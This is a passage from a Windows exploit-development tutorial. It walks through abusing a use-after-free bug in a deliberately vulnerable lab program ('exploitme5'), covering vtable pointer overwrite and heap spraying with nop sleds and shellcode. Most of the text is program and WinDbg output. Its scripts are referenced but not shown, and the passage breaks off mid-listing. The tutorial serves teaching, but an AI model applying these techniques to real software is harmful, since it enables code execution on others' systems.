If you haven’t already, read the previous articles (I, II, III, IV) before proceeding.

For this example you’ll need to disable DEP. In VS 2013, go to Projectproperties, and modify the configuration for Release as follows:

  • Configuration Properties
    • Linker
      • Advanced
        • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

The source code of exploitme5 is the following:

This program is longer than the previous ones, so let’s talk a little about it. This program lets you:

  1. read a block of data from file;
  2. duplicate a block by doing copies of it;
  3. transform a block by doing some operations on it.

You can transform a block by using a mutator. There are just two mutators: the first is called Multiplier and multiplies the dwords in a block by a multiplier, whereas the second is called LowerCaser and simply trasform ASCII characters to lowercase.

The Multiplier mutator can be configured, i.e. the multiplier can be specified by the user.

UAF

This program has a bug of type UAF (Use After Free). Here’s an example of a UAF bug:

As you can see, obj is used after it’s been freed. The problem is that in C++, objects must be freed manually (there is no garbage collector) so, because of a programming error, an object can be freed while it’s still in use. After the deallocation, obj becomes a so-called dangling pointer because it points to deallocated data.

How can we exploit such a bug? The idea is to take control of the portion of memory pointed to by the dangling pointer. To understand how we can do this, we need to know how the memory allocator works. We talked about the Windows Heap in the Heap section.

In a nutshell, the heap maintains lists of free blocks. Each list contains free blocks of a specific size. For example, if we need to allocate a block of 32 bytes, a block of 40 bytes is removed from the appropriate list of free blocks and returned to the caller. Note that the block is 40 bytes because 8 bytes are used for the metadata. When the block is released by the application, the block is reinserted into the appropriate list of free blocks.

Here comes the most important fact: when the allocator needs to remove a free block from a free list, it tends to return the last free block which was inserted into that list. This means that if an object of, say, 32 bytes is deallocated and then another object of 32 bytes is allocated, the second object will occupy the same portion of memory that was occupied by the first object.

Let’s look at an example:

In this example, obj and obj2 will end up pointing to the same object because the block of memory released by delete is immediately returned by the following new.

What happens if instead of another object we allocate an array of the same size? Look at this example:

As we saw before when we exploited exploitme4, the first DWORD of an object which has a virtual function table is a pointer to that table. In the example above, through the UAF bug, we are able to overwrite the pointer to the VFTable with a value of our choosing. This way, obj->virtual_method() may end up calling our payload.

Heap Spraying

To spray the heap means filling the heap with data we control. In browsers we can do this through Javascript by allocating strings or other objects. Spraying the heap is a way to put our shellcode in the address space of the process we’re attacking. Let’s say we succeed in filling the heap with the following data:

nop
nop
nop
.
.
.
nop
shellcode
nop
nop
nop
.
.
.
nop
shellcode
.
.
.
(and so on)

Even if the allocations on the Heap are not completely deterministic, if we put enough data on the heap, and the nop sleds are long enough with respect to our shellcode, it’s highly probable that by jumping at a specific address on the heap we’ll hit a nop sled and our shellcode will be executed.

By studying how the heap behaves, we can even perform precise heap spraying, so that we don’t need any nop sleds.

UAF in exploitme5

The UAF bug is located in the mutateBlock() function. Here’s the code again:

Look at the two remarks in the code above. This function lets us change the multiplier used by the Multiplier mutator, but if we enter an invalid value, for instance “asdf“, scanf_s() returns false and mutators[0] becomes a dangling pointer because still points to the destroyed object.

Here’s the definition of Multiplier (and its base class Mutator):

The size of Multiplier is:

bytes       reason
--------------------------------
  4         VFTable ptr
  4         "param" property
40*4        "reserved" property
--------------------------------
 168 bytes

So if we allocate a block of 168 bytes, the allocator will return to us the block which is still pointed to by mutators[0]. How do we create such a block? We can use the option Read block from file, but it might not work because fopen() is called before the new block is allocated. This may cause problems because fopen() calls the allocator internally. Here’s the code for readBlock():

For convenience, the code prints the addresses of the deallocated Multiplier (mutators[0]) and of the allocated blocks (in listBlocks()).

Let’s try to exploit the UAF bug. First let’s create a file of 168 bytes with the following Python script:

Now let’s run exploitme5:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x004fc488          <======== deallocated block
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x004fc488; size = 168    <======= allocated block
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

As you can see, the new block was allocated at the same address of the deallocated mutator. This means that we control the contents of the memory pointed to by mutators[0].

This seems to be working, but a better way would be to

  1. Read block from file
  2. Configure mutator ===> UAF bug
  3. Duplicate Block

This is more reliable because duplicateBlock() allocate a new block right away without calling other dangerous functions before:

Let’s try also this second method:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\obj.dat

Block read (168 bytes)

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 4

1) Multiplier (multiplier = 2)
2) LowerCaser
3) Exit

Your choice [1-3]: 1

mutators[0] = 0x0071c488            <=====================
multiplier (int): asdf
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x0071c538; size = 168
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 1
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x0071c538; size = 168
block 1: address = 0x0071c488; size = 168   <=====================
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

This works as well, of course.

Heap Spraying in eploitme5

We can spray the heap by reading a big block from file and then making many copies of it. Let’s try to allocate blocks of 1 MB. We can create the file with this script:

Note that 0x100000 is 1 MB in hexadecimal. Let’s open exploitme5 in WinDbg and run it:

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 1

File path ('exit' to exit): d:\buf.dat

Block read (1048576 bytes)        <================ 1 MB

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 3

------- Blocks -------
block 0: address = 0x02070020; size = 1048576
----------------------

Index of block to duplicate (-1 to exit): 0
Number of copies (-1 to exit): 200       <==================== 200 MB
1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]: 2

------- Blocks -------
block 0: address = 0x02070020; size = 1048576
block 1: address = 0x02270020; size = 1048576
block 2: address = 0x02380020; size = 1048576
block 3: address = 0x02490020; size = 1048576
block 4: address = 0x025a0020; size = 1048576
block 5: address = 0x026b0020; size = 1048576
block 6: address = 0x027c0020; size = 1048576
block 7: address = 0x028d0020; size = 1048576
block 8: address = 0x029e0020; size = 1048576
block 9: address = 0x02af0020; size = 1048576
block 10: address = 0x02c00020; size = 1048576
block 11: address = 0x02d10020; size = 1048576
block 12: address = 0x02e20020; size = 1048576
block 13: address = 0x02f30020; size = 1048576
block 14: address = 0x03040020; size = 1048576
block 15: address = 0x03150020; size = 1048576
block 16: address = 0x03260020; size = 1048576
block 17: address = 0x03370020; size = 1048576
block 18: address = 0x03480020; size = 1048576
block 19: address = 0x03590020; size = 1048576
block 20: address = 0x036a0020; size = 1048576
block 21: address = 0x037b0020; size = 1048576
block 22: address = 0x038c0020; size = 1048576
block 23: address = 0x039d0020; size = 1048576
block 24: address = 0x03ae0020; size = 1048576
block 25: address = 0x03bf0020; size = 1048576
block 26: address = 0x03d00020; size = 1048576
block 27: address = 0x03e10020; size = 1048576
block 28: address = 0x03f20020; size = 1048576
block 29: address = 0x04030020; size = 1048576
block 30: address = 0x04140020; size = 1048576
block 31: address = 0x04250020; size = 1048576
block 32: address = 0x04360020; size = 1048576
block 33: address = 0x04470020; size = 1048576
block 34: address = 0x04580020; size = 1048576
block 35: address = 0x04690020; size = 1048576
block 36: address = 0x047a0020; size = 1048576
block 37: address = 0x048b0020; size = 1048576
block 38: address = 0x049c0020; size = 1048576
block 39: address = 0x04ad0020; size = 1048576
block 40: address = 0x04be0020; size = 1048576
block 41: address = 0x04cf0020; size = 1048576
block 42: address = 0x04e00020; size = 1048576
block 43: address = 0x04f10020; size = 1048576
block 44: address = 0x05020020; size = 1048576
block 45: address = 0x05130020; size = 1048576
block 46: address = 0x05240020; size = 1048576
block 47: address = 0x05350020; size = 1048576
block 48: address = 0x05460020; size = 1048576
block 49: address = 0x05570020; size = 1048576
block 50: address = 0x05680020; size = 1048576
block 51: address = 0x05790020; size = 1048576
block 52: address = 0x058a0020; size = 1048576
block 53: address = 0x059b0020; size = 1048576
block 54: address = 0x05ac0020; size = 1048576
block 55: address = 0x05bd0020; size = 1048576
block 56: address = 0x05ce0020; size = 1048576
block 57: address = 0x05df0020; size = 1048576
block 58: address = 0x05f00020; size = 1048576
block 59: address = 0x06010020; size = 1048576
block 60: address = 0x06120020; size = 1048576
block 61: address = 0x06230020; size = 1048576
block 62: address = 0x06340020; size = 1048576
block 63: address = 0x06450020; size = 1048576
block 64: address = 0x06560020; size = 1048576
block 65: address = 0x06670020; size = 1048576
block 66: address = 0x06780020; size = 1048576
block 67: address = 0x06890020; size = 1048576
block 68: address = 0x069a0020; size = 1048576
block 69: address = 0x06ab0020; size = 1048576
block 70: address = 0x06bc0020; size = 1048576
block 71: address = 0x06cd0020; size = 1048576
block 72: address = 0x06de0020; size = 1048576
block 73: address = 0x06ef0020; size = 1048576
block 74: address = 0x07000020; size = 1048576
block 75: address = 0x07110020; size = 1048576
block 76: address = 0x07220020; size = 1048576
block 77: address = 0x07330020; size = 1048576
block 78: address = 0x07440020; size = 1048576
block 79: address = 0x07550020; size = 1048576
block 80: address = 0x07660020; size = 1048576
block 81: address = 0x07770020; size = 1048576
block 82: address = 0x07880020; size = 1048576
block 83: address = 0x07990020; size = 1048576
block 84: address = 0x07aa0020; size = 1048576
block 85: address = 0x07bb0020; size = 1048576
block 86: address = 0x07cc0020; size = 1048576
block 87: address = 0x07dd0020; size = 1048576
block 88: address = 0x07ee0020; size = 1048576
block 89: address = 0x07ff0020; size = 1048576
block 90: address = 0x08100020; size = 1048576
block 91: address = 0x08210020; size = 1048576
block 92: address = 0x08320020; size = 1048576
block 93: address = 0x08430020; size = 1048576
block 94: address = 0x08540020; size = 1048576
block 95: address = 0x08650020; size = 1048576
block 96: address = 0x08760020; size = 1048576
block 97: address = 0x08870020; size = 1048576
block 98: address = 0x08980020; size = 1048576
block 99: address = 0x08a90020; size = 1048576
block 100: address = 0x08ba0020; size = 1048576
block 101: address = 0x08cb0020; size = 1048576
block 102: address = 0x08dc0020; size = 1048576
block 103: address = 0x08ed0020; size = 1048576
block 104: address = 0x08fe0020; size = 1048576
block 105: address = 0x090f0020; size = 1048576
block 106: address = 0x09200020; size = 1048576
block 107: address = 0x09310020; size = 1048576
block 108: address = 0x09420020; size = 1048576
block 109: address = 0x09530020; size = 1048576
block 110: address = 0x09640020; size = 1048576
block 111: address = 0x09750020; size = 1048576
block 112: address = 0x09860020; size = 1048576
block 113: address = 0x09970020; size = 1048576
block 114: address = 0x09a80020; size = 1048576
block 115: address = 0x09b90020; size = 1048576
block 116: address = 0x09ca0020; size = 1048576
block 117: address = 0x09db0020; size = 1048576
block 118: address = 0x09ec0020; size = 1048576
block 119: address = 0x09fd0020; size = 1048576
block 120: address = 0x0a0e0020; size = 1048576
block 121: address = 0x0a1f0020; size = 1048576
block 122: address = 0x0a300020; size = 1048576
block 123: address = 0x0a410020; size = 1048576
block 124: address = 0x0a520020; size = 1048576
block 125: address = 0x0a630020; size = 1048576
block 126: address = 0x0a740020; size = 1048576
block 127: address = 0x0a850020; size = 1048576
block 128: address = 0x0a960020; size = 1048576
block 129: address = 0x0aa70020; size = 1048576
block 130: address = 0x0ab80020; size = 1048576
block 131: address = 0x0ac90020; size = 1048576
block 132: address = 0x0ada0020; size = 1048576
block 133: address = 0x0aeb0020; size = 1048576
block 134: address = 0x0afc0020; size = 1048576
block 135: address = 0x0b0d0020; size = 1048576
block 136: address = 0x0b1e0020; size = 1048576
block 137: address = 0x0b2f0020; size = 1048576
block 138: address = 0x0b400020; size = 1048576
block 139: address = 0x0b510020; size = 1048576
block 140: address = 0x0b620020; size = 1048576
block 141: address = 0x0b730020; size = 1048576
block 142: address = 0x0b840020; size = 1048576
block 143: address = 0x0b950020; size = 1048576
block 144: address = 0x0ba60020; size = 1048576
block 145: address = 0x0bb70020; size = 1048576
block 146: address = 0x0bc80020; size = 1048576
block 147: address = 0x0bd90020; size = 1048576
block 148: address = 0x0bea0020; size = 1048576
block 149: address = 0x0bfb0020; size = 1048576
block 150: address = 0x0c0c0020; size = 1048576
block 151: address = 0x0c1d0020; size = 1048576
block 152: address = 0x0c2e0020; size = 1048576
block 153: address = 0x0c3f0020; size = 1048576
block 154: address = 0x0c500020; size = 1048576
block 155: address = 0x0c610020; size = 1048576
block 156: address = 0x0c720020; size = 1048576
block 157: address = 0x0c830020; size = 1048576
block 158: address = 0x0c940020; size = 1048576
block 159: address = 0x0ca50020; size = 1048576
block 160: address = 0x0cb60020; size = 1048576
block 161: address = 0x0cc70020; size = 1048576
block 162: address = 0x0cd80020; size = 1048576
block 163: address = 0x0ce90020; size = 1048576
block 164: address = 0x0cfa0020; size = 1048576
block 165: address = 0x0d0b0020; size = 1048576
block 166: address = 0x0d1c0020; size = 1048576
block 167: address = 0x0d2d0020; size = 1048576
block 168: address = 0x0d3e0020; size = 1048576
block 169: address = 0x0d4f0020; size = 1048576
block 170: address = 0x0d600020; size = 1048576
block 171: address = 0x0d710020; size = 1048576
block 172: address = 0x0d820020; size = 1048576
block 173: address = 0x0d930020; size = 1048576
block 174: address = 0x0da40020; size = 1048576
block 175: address = 0x0db50020; size = 1048576
block 176: address = 0x0dc60020; size = 1048576
block 177: address = 0x0dd70020; size = 1048576
block 178: address = 0x0de80020; size = 1048576
block 179: address = 0x0df90020; size = 1048576
block 180: address = 0x0e0a0020; size = 1048576
block 181: address = 0x0e1b0020; size = 1048576
block 182: address = 0x0e2c0020; size = 1048576
block 183: address = 0x0e3d0020; size = 1048576
block 184: address = 0x0e4e0020; size = 1048576
block 185: address = 0x0e5f0020; size = 1048576
block 186: address = 0x0e700020; size = 1048576
block 187: address = 0x0e810020; size = 1048576
block 188: address = 0x0e920020; size = 1048576
block 189: address = 0x0ea30020; size = 1048576
block 190: address = 0x0eb40020; size = 1048576
block 191: address = 0x0ec50020; size = 1048576
block 192: address = 0x0ed60020; size = 1048576
block 193: address = 0x0ee70020; size = 1048576
block 194: address = 0x0ef80020; size = 1048576
block 195: address = 0x0f090020; size = 1048576
block 196: address = 0x0f1a0020; size = 1048576
block 197: address = 0x0f2b0020; size = 1048576
block 198: address = 0x0f3c0020; size = 1048576
block 199: address = 0x0f4d0020; size = 1048576
block 200: address = 0x0f5e0020; size = 1048576
----------------------

1) Read block from file
2) List blocks
3) Duplicate Block
4) Configure mutator
5) Mutate block
6) Exit

Your choice [1-6]:

Now click on DebugBreak in WinDbg and inspect the heap:

0:001> !heap
NtGlobalFlag enables following debugging aids for new heaps:    tail checking
    free checking
    validate parameters
Index   Address  Name      Debugging options enabled
  1:   00140000                 tail checking free checking validate parameters
  2:   00650000                 tail checking free checking validate parameters
  3:   01c80000                 tail checking free checking validate parameters
  4:   01e10000                 tail checking free checking validate parameters
0:001> !heap -m           <=========== -m displays the segments
Index   Address  Name      Debugging options enabled
  1:   00140000
    Segment at 00140000 to 00240000 (0002f000 bytes committed)
  2:   00650000
    Segment at 00650000 to 00660000 (00003000 bytes committed)
  3:   01c80000
    Segment at 01c80000 to 01c90000 (0000c000 bytes committed)
    Segment at 01e50000 to 01f50000 (0001c000 bytes committed)
  4:   01e10000
    Segment at 01e10000 to 01e50000 (00001000 bytes committed)

That’s odd… where are our 200 MB of data? The problem is that when the Heap manager is asked to allocate a block whose size is above a certain threshold, the allocation request is sent directly to the Virtual Memory Manager. Let’s have a look:

0:001> !heap -s                   ("-s" stands for "summary")
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x66cab5dc
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 02070000 - 02070000 (size 00000000)
Virtual block: 02270000 - 02270000 (size 00000000)
Virtual block: 02380000 - 02380000 (size 00000000)
Virtual block: 02490000 - 02490000 (size 00000000)
Virtual block: 025a0000 - 025a0000 (size 00000000)
Virtual block: 026b0000 - 026b0000 (size 00000000)
Virtual block: 027c0000 - 027c0000 (size 00000000)
Virtual block: 028d0000 - 028d0000 (size 00000000)
Virtual block: 029e0000 - 029e0000 (size 00000000)
Virtual block: 02af0000 - 02af0000 (size 00000000)
Virtual block: 02c00000 - 02c00000 (size 00000000)
Virtual block: 02d10000 - 02d10000 (size 00000000)
Virtual block: 02e20000 - 02e20000 (size 00000000)
Virtual block: 02f30000 - 02f30000 (size 00000000)
Virtual block: 03040000 - 03040000 (size 00000000)
Virtual block: 03150000 - 03150000 (size 00000000)
Virtual block: 03260000 - 03260000 (size 00000000)
Virtual block: 03370000 - 03370000 (size 00000000)
Virtual block: 03480000 - 03480000 (size 00000000)
Virtual block: 03590000 - 03590000 (size 00000000)
Virtual block: 036a0000 - 036a0000 (size 00000000)
Virtual block: 037b0000 - 037b0000 (size 00000000)
Virtual block: 038c0000 - 038c0000 (size 00000000)
Virtual block: 039d0000 - 039d0000 (size 00000000)
Virtual block: 03ae0000 - 03ae0000 (size 00000000)
Virtual block: 03bf0000 - 03bf0000 (size 00000000)
Virtual block: 03d00000 - 03d00000 (size 00000000)
Virtual block: 03e10000 - 03e10000 (size 00000000)
Virtual block: 03f20000 - 03f20000 (size 00000000)
Virtual block: 04030000 - 04030000 (size 00000000)
Virtual block: 04140000 - 04140000 (size 00000000)
Virtual block: 04250000 - 04250000 (size 00000000)
Virtual block: 04360000 - 04360000 (size 00000000)
Virtual block: 04470000 - 04470000 (size 00000000)
Virtual block: 04580000 - 04580000 (size 00000000)
Virtual block: 04690000 - 04690000 (size 00000000)
Virtual block: 047a0000 - 047a0000 (size 00000000)
Virtual block: 048b0000 - 048b0000 (size 00000000)
Virtual block: 049c0000 - 049c0000 (size 00000000)
Virtual block: 04ad0000 - 04ad0000 (size 00000000)
Virtual block: 04be0000 - 04be0000 (size 00000000)
Virtual block: 04cf0000 - 04cf0000 (size 00000000)
Virtual block: 04e00000 - 04e00000 (size 00000000)
Virtual block: 04f10000 - 04f10000 (size 00000000)
Virtual block: 05020000 - 05020000 (size 00000000)
Virtual block: 05130000 - 05130000 (size 00000000)
Virtual block: 05240000 - 05240000 (size 00000000)
Virtual block: 05350000 - 05350000 (size 00000000)
Virtual block: 05460000 - 05460000 (size 00000000)
Virtual block: 05570000 - 05570000 (size 00000000)
Virtual block: 05680000 - 05680000 (size 00000000)
Virtual block: 05790000 - 05790000 (size 00000000)
Virtual block: 058a0000 - 058a0000 (size 00000000)
Virtual block: 059b0000 - 059b0000 (size 00000000)
Virtual block: 05ac0000 - 05ac0000 (size 00000000)
Virtual block: 05bd0000 - 05bd0000 (size 00000000)
Virtual block: 05ce0000 - 05ce0000 (size 00000000)
Virtual block: 05df0000 - 05df0000 (size 00000000)
Virtual block: 05f00000 - 05f00000 (size 00000000)
Virtual block: 06010000 - 06010000 (size 00000000)
Virtual block: 06120000 - 06120000 (size 00000000)
Virtual block: 06230000 - 06230000 (size 00000000)
Virtual block: 06340000 - 06340000 (size 00000000)
Virtual block: 06450000 - 06450000 (size 00000000)
Virtual block: 06560000 - 06560000 (size 00000000)
Virtual block: 06670000 - 06670000 (size 00000000)
Virtual block: 06780000 - 06780000 (size 00000000)
Virtual block: 06890000 - 06890000 (size 00000000)
Virtual block: 069a0000 - 069a0000 (size 00000000)
Virtual block: 06ab0000 - 06ab0000 (size 00000000)
Virtual block: 06bc0000 - 06bc0000 (size 00000000)
Virtual block: 06cd0000 - 06cd0000 (size 00000000)
Virtual block: 06de0000 - 06de0000 (size 00000000)
Virtual block: 06ef0000 - 06ef0000 (size 00000000)
Virtual block: 07000000 - 07000000 (size 00000000)
Virtual block: 07110000 - 07110000 (size 00000000)
Virtual block: 07220000 - 07220000 (size 00000000)
Virtual block: 07330000 - 07330000 (size 00000000)
Virtual block: 07440000 - 07440000 (size 00000000)
Virtual block: 07550000 - 07550000 (size 00000000)
Virtual block: 07660000 - 07660000 (size 00000000)
Virtual block: 07770000 - 07770000 (size 00000000)
Virtual block: 07880000 - 07880000 (size 00000000)
Virtual block: 07990000 - 07990000 (size 00000000)
Virtual block: 07aa0000 - 07aa0000 (size 00000000)
Virtual block: 07bb0000 - 07bb0000 (size 00000000)
Virtual block: 07cc0000 - 07cc0000 (size 00000000)
Virtual block: 07dd0000 - 07dd0000 (size 00000000)
Virtual block: 07ee0000 - 07ee0000 (size 00000000)
Virtual block: 07ff0000 - 07ff0000 (size 00000000)
Virtual block: 08100000 - 08100000 (size 00000000)
Virtual block: 08210000 - 08210000 (size 00000000)
Virtual block: 08320000 - 08320000 (size 00000000)
Virtual block: 08430000 - 08430000 (size 00000000)
Virtual block: 08540000 - 08540000 (size 00000000)
Virtual block: 08650000 - 08650000 (size 00000000)
Virtual block: 08760000 - 08760000 (size 00000000)
Virtual block: 08870000 - 08870000 (size 00000000)
Virtual block: 08980000 - 08980000 (size 00000000)
Virtual block: 08a90000 - 08a90000 (size 00000000)
Virtual block: 08ba0000 - 08ba0000 (size 00000000)
Virtual block: 08cb0000 - 08cb0000 (size 00000000)
Virtual block: 08dc0000 - 08dc0000 (size 00000000)
Virtual block: 08ed0000 - 08ed0000 (size 00000000)
Virtual block: 08fe0000 - 08fe0000 (size 00000000)
Virtual block: 090f0000 - 090f0000 (size 00000000)
Virtual block: 09200000 - 09200000 (size 00000000)
Virtual block: 09310000 - 09310000 (size 00000000)
Virtual block: 09420000 - 09420000 (size 00000000)
Virtual block: 09530000 - 09530000 (size 00000000)
Virtual block: 09640000 - 09640000 (size 00000000)
Virtual block: 09750000 - 09750000 (size 00000000)
Virtual block: 09860000 - 09860000 (size 00000000)
Virtual block: 09970000 - 09970000 (size 00000000)
Virtual block: 09a80000 - 09a80000 (size 00000000)
Virtual block: 09b90000 - 09b90000 (size 00000000)
Virtual block: 09ca0000 - 09ca0000 (size 00000000)
Virtual block: 09db0000 - 09db0000 (size 00000000)
Virtual block: 09ec0000 - 09ec0000 (size 00000000)
Virtual block: 09fd0000 - 09fd0000 (size 00000000)
Virtual block: 0a0e0000 - 0a0e0000 (size 00000000)
Virtual block: 0a1f0000 - 0a1f0000 (size 00000000)
Virtual block: 0a300000 - 0a300000 (size 00000000)
Virtual block: 0a410000 - 0a410000 (size 00000000)
Virtual block: 0a520000 - 0a520000 (size 00000000)
Virtual block: 0a630000 - 0a630000 (size 00000000)
Virtual block: 0a740000 - 0a740000 (size 00000000)
Virtual block: 0a850000 - 0a850000 (size 00000000)
Virtual block: 0a960000 - 0a960000 (size 00000000)
Virtual block: 0aa70000 - 0aa70000 (size 00000000)
Virtual block: 0ab80000 - 0ab80000 (size 00000000)
Virtual block: 0ac90000 - 0ac90000 (size 00000000)
Virtual block: 0ada0000 - 0ada0000 (size 00000000)
Virtual block: 0aeb0000 - 0aeb0000 (size 00000000)
Virtual block: 0afc0000 - 0afc0000 (size 00000000)
Virtual block: 0b0d0000 - 0b0d0000 (size 00000000)
Virtual block: 0b1e0000 - 0b1e0000 (size 00000000)
Virtual block: 0b2f0000 - 0b2f0000 (size 00000000)
Virtual block: 0b400000 - 0b400000 (size 00000000)
Virtual block: 0b510000 - 0b510000 (size 00000000)
Virtual block: 0b620000 - 0b620000 (size 00000000)
Virtual block: 0b730000 - 0b730000 (size 00000000)
Virtual block: 0b840000 - 0b840000 (size 00000000)
Virtual block: 0b950000 - 0b950000 (size 00000000)
Virtual block: 0ba60000 - 0ba60000 (size 00000000)
Virtual block: 0bb70000 - 0bb70000 (size 00000000)
Virtual block: 0bc80000 - 0bc80000 (size 00000000)
Virtual block: 0bd90000 - 0bd90000 (size 00000000)
Virtual block: 0bea0000 - 0bea0000 (size 00000000)
Virtual block: 0bfb0000 - 0bfb0000 (size 00000000)
Virtual block: 0c0c0000 - 0c0c0000 (size 00000000)
Virtual block: 0c1d0000 - 0c1d0000 (size 00000000)
Virtual block: 0c2e0000 - 0c2e0000 (size 00000000)
Virtual block: 0c3f0000 - 0c3f0000 (size 00000000)
Virtual block: 0c500000 - 0c500000 (size 00000000)
Virtual block: 0c610000 - 0c610000 (size 00000000)
Virtual block: 0c720000 - 0c720000 (size 00000000)
Virtual block: 0c830000 - 0c830000 (size 00000000)
Virtual block: 0c940000 - 0c940000 (size 00000000)
Virtual block: 0ca50000 - 0ca50000 (size 00000000)
Virtual block: 0cb60000 - 0cb60000 (size 00000000)
Virtual block: 0cc70000 - 0cc70000 (size 00000000)
Virtual block: 0cd80000 - 0cd80000 (size 00000000)
Virtual block: 0ce90000 - 0ce90000 (size 00000000)
Virtual block: 0cfa0000 - 0cfa0000 (size 00000000)
Virtual block: 0d0b0000 - 0d0b0000 (size 00000000)
Virtual block: 0d1c0000 - 0d1c0000 (size 00000000)
Virtual block: 0d2d0000 - 0d2d0000 (size 00000000)
Virtual block: 0d3e0000 - 0d3e0000 (size 00000000)
Virtual block: 0d4f0000 - 0d4f0000 (size 00000000)
Virtual block: 0d600000 - 0d600000 (size 00000000)
Virtual block: 0d710000 - 0d710000 (size 00000000)
Virtual block: 0d820000 - 0d820000 (size 00000000)
Virtual block: 0d930000 - 0d930000 (size 00000000)
Virtual block: 0da40000 - 0da40000 (size 00000000)
Virtual block: 0db50000 - 0db50000 (size 00000000)
Virtual block: 0dc60000 - 0dc60000 (size 00000000)
Virtual block: 0dd70000 - 0dd70000 (size 00000000)
Virtual block: 0de80000 - 0de80000 (size 00000000)
Virtual block: 0df90000 - 0df90000 (size 00000000)
Virtual block: 0e0a0000 - 0e0a0000 (size 00000000)
Virtual block: 0e1b0000 - 0e1b0000 (size 00000000)
Virtual block: 0e2c0000 - 0e2c0000 (size 00000000)
Virtual block: 0e3d0000 - 0e3d0000 (size 00000000)
Virtual block: 0e4e0000 - 0e4e0000 (size 00000000)
Virtual block: 0e5f0000 - 0e5f0000 (size 00000000)
Virtual block: 0e700000 - 0e700000 (size 00000000)
Virtual block: 0e810000 - 0e810000 (size 00000000)
Virtual block: 0e920000 - 0e920000 (size 00000000)
Virtual block: 0ea30000 - 0ea30000 (size 00000000)
Virtual block: 0eb40000 - 0eb40000 (size 00000000)
Virtual block: 0ec50000 - 0ec50000 (size 00000000)
Virtual block: 0ed60000 - 0ed60000 (size 00000000)
Virtual block: 0ee70000 - 0ee70000 (size 00000000)
Virtual block: 0ef80000 - 0ef80000 (size 00000000)
Virtual block: 0f090000 - 0f090000 (size 00000000)
Virtual block: 0f1a0000 - 0f1a0000 (size 00000000)
Virtual block: 0f2b0000 - 0f2b0000 (size 00000000)
Virtual block: 0f3c0000 - 0f3c0000 (size 00000000)
Virtual block: 0f4d0000 - 0f4d0000 (size 00000000)
Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)
00140000 40000062    1024    188   1024     93     9     1  201      0      
00650000 40001062      64     12     64      2     2     1    0      0      
01c80000 40001062    1088    160   1088     68     5     2    0      0      
01e10000 40001062     256      4    256      2     1     1    0      0      
-----------------------------------------------------------------------------

By comparing the addresses, you can verify that the virtual blocks listed by !heap are the same blocks we allocated in exploitme5 and listed by listBlocks(). There’s a difference though:

block 200: address = 0x0f5e0020; size = 1048576         <---- listBlocks()
Virtual block: 0f5e0000 - 0f5e0000 (size 00000000)      <---- !heap

As we can see, there are 0x20 bytes of metadata (header) so the block starts at 0f5e0000, but the usable portion starts at 0f5e0020.

!heap doesn’t show us the real size, but we know that each block is 1 MB, i.e. 0x100000. Except for the first two blocks, the distance between two adjacent blocks is 0x110000, so there are almost 0x10000 bytes = 64 KB of junk data between adjacent blocks. We’d like to reduce the amount of junk data as much as possible. Let’s try to reduce the size of our blocks. Here’s the updated script:

After creating buf.dat, we restart exploitme5.exe in WinDbg, allocate the blocks and we get the following:

0:001> !heap -s
NtGlobalFlag enables following debugging aids for new heaps:
    tail checking
    free checking
    validate parameters
LFH Key                   : 0x6c0192f2
Termination on corruption : ENABLED
  Heap     Flags   Reserv  Commit  Virt   Free  List   UCR  Virt  Lock  Fast
                    (k)     (k)    (k)     (k) length      blocks cont. heap
-----------------------------------------------------------------------------
Virtual block: 020d0000 - 020d0000 (size 00000000)
Virtual block: 022e0000 - 022e0000 (size 00000000)
Virtual block: 023f0000 - 023f0000 (size 00000000)
Virtual block: 02500000 - 02500000 (size 00000000)
Virtual block: 02610000 - 02610000 (size 00000000)
Virtual block: 02720000 - 02720000 (size 00000000)
Virtual block: 02830000 - 02830000 (size 00000000)
Virtual block: 02940000 - 02940000 (size 00000000)
Virtual block: 02a50000 - 02a50000 (size 00000000)
Virtual block: 02b60000 - 02b60000 (size 00000000)
Virtual block: 02c70000 - 02c70000 (size 00000000)
Virtual block: 02d80000 - 02d80000 (size 00000000)
Virtual block: 02e90000 - 02e90000 (size 00000000)
Virtual block: 02fa0000 - 02fa0000 (size 00000000)
Virtual block: 030b0000 - 030b0000 (size 00000000)
Virtual block: 031c0000 - 031c0000 (size 00000000)
Virtual block: 032d0000 - 032d0000 (size 00000000)
Virtual block: 033e0000 - 033e0000 (size 00000000)
Virtual block: 034f0000 - 034f0000 (size 00000000)
Virtual block: 03600000 - 03600000 (size 00000000)
Virtual block: 03710000 - 03710000 (size 00000000)
